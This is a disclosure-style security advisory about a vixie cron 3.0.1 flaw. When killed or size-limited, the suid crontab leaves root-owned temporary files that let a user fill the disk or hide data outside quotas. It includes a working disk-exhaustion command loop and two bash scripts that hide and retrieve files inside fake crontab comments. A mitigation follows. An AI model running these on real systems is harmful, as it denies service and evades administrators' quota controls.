COMMAND
	    vixie cron
SYSTEMS AFFECTED
	    Linux, BSD boxes running vixie cron (tested under 3.0.1)
PROBLEM
	    Michal Zalewski found following. Suid executable, /usr/bin/crontab
	    (vixie-cron up  to 3.0.1-20),  every time  it is  called by  user,
	    transfers  content  of  given  file  to  root-owned temporary file
	    created in /var/spool/cron.  Then, when coopying is done,  crontab
	    renames it to user's login name.   But when copied file is  larger
	    than maximum  filesize limit  (it may  be modified  using 'ulimit'
	    command)  or  available  disk  space,  crontab  dies  leaving this
	    temporary file.   In this  case user  may store  anything 'behind'
	    quota limits, or waste whole free disk space. Here's an example:
	
	        [root@genome /]# rpm -q vixie-cron
	        vixie-cron-3.0.1-20
	        [root@genome /]# ls -l /var/spool/cron
	        total 1
	        -rw-------   1 root     root          769 Nov 27 20:21 root
	        [root@genome /]# df
	        Filesystem         1024-blocks  Used Available Capacity Mounted on
	        /dev/hda3             199079  166164    22634     88%   /
	        ...
	
	    Looks good. Now, the main attack:
	
	        [lcamtuf@genome lcamtuf]$ ulimit
	        5000
	        [lcamtuf@genome lcamtuf]$ quota
	        Disk quotas for user lcamtuf (uid 513):
	              Filesystem  blocks   quota   limit   grace   files   quota   limit   grace
	              /dev/hda3       3    5000    5000              15     150     150
	              ...
	        [lcamtuf@genome lcamtuf]$ NIC=0
	        [lcamtuf@genome lcamtuf]$ while [ $NIC -lt 5 ]; do crontab /dev/zero & let NIC=NIC+1;done
	        [1] 399
	        [2] 400
	        [3] 401
	        [4] 402
	        [5] 403
	        [lcamtuf@genome lcamtuf]$ sleep 300;killall -9 crontab
	        [1]   Killed                  crontab /dev/zero
	        [2]   Killed                  crontab /dev/zero
	        [3]   Killed                  crontab /dev/zero
	        [4]   Killed                  crontab /dev/zero
	        [5]   Killed                  crontab /dev/zero
	        [lcamtuf@genome lcamtuf]$ quota
	        Disk quotas for user lcamtuf (uid 513):
	             Filesystem  blocks   quota   limit   grace   files   quota   limit   grace
	             /dev/hda3       3    5000    5000              13     150     150
	
	    Nothing happend...? Not quite:
	
	        [root@genome /]# df
	        Filesystem         1024-blocks  Used Available Capacity Mounted on
	        /dev/hda3             199079  191290        0    100%   /
	        ...
	
	    Whoops... What's going on?
	
	        [root@genome /]# ls -l /var/spool/cron
	        total 25106
	        -rw-------   1 root     root          769 Nov 27 20:21 root
	        -rw-------   1 root     lcamtuf   5120000 Feb  5 15:01 tmp.453
	        -rw-------   1 root     lcamtuf   5120000 Feb  5 15:02 tmp.468
	        -rw-------   1 root     lcamtuf   5120000 Feb  5 15:03 tmp.469
	        -rw-------   1 root     lcamtuf   5120000 Feb  5 15:03 tmp.482
	        -rw-------   1 root     lcamtuf   5120000 Feb  5 15:03 tmp.483
	
	    Note - when  ulimit is 0,  user may waste  WHOLE DISK SPACE  using
	    single crontab /dev/zero command! Attack described above is stupid
	    and simple, but /dev/zero may be replaced eg. with pipe.  In  this
	    case, these  well-hidden 'temporary'  files may  be used  to store
	    large amounts of hidden data, far away of user's home directory or
	    tmp dirs.  Here's  Zalewski's proggy which allows hiding files  of
	    any  kind  and  size  into  crontab  entries  (remember,  quota is
	    ignored):
	
	    #!/bin/bash
	    echo "Vixie cron 3.0.1 file storage - put utlility"
	    echo "by Michal Zalewski <[email protected]>"
	    echo
	    if [ "$1" =3D "" ]; then
	      echo usage: $0 file_to_hide
	      echo
	      exit 0
	    fi
	    if [ ! "`ulimit`" =3D "unlimited" ]; then
	      echo Warning, filesize limit is set to `ulimit`.
	      echo
	    fi
	    echo Installing fake crontab...
	    echo
	    echo "* * * * * # whoops..." >vix_tmp
	    uuencode $1 <$1 | awk -F "\n" '{print "#FAKE" $1}' >>vix_tmp
	    crontab vix_tmp
	    echo "Thank you, file stored successfully."
	
	    The next program allows futher extraction of these files:
	
	    #!/bin/bash
	    echo "Vixie cron 3.0.1 file storage - get utility"
	    echo "by Michal Zalewski <[email protected]>"
	    echo
	    if [ ! "`ulimit`" =3D "unlimited" ]; then
	      echo Warning, filesize limit is set to `ulimit`.
	      echo
	    fi
	    crontab -l | grep "#FAKE" | awk -F "#FAKE" '{print $2}'|uudecode
	    echo "File restored successfully."
	
	    However,  it  seems  this  is  not  a vixie-cron specific problem.
	    Comments can be stored in all cron's.
SOLUTION
	    Nothing yet.  If you're  proud owner of vixie crontab,  disable it
	    or get something else.   Check your crontabs.  Disalowing  crontab
	    jobs for ordinary users is what my admin do.  This problem can  be
	    easily corrected, at  least on Red  Hat Linux systems,  were every
	    user have it's own group. vixie cron will install the crontab file
	    with ownership  root.usergroup.   Installing group  quotas for the
	    partiotion /var/spool/cron resides on will solve the problem.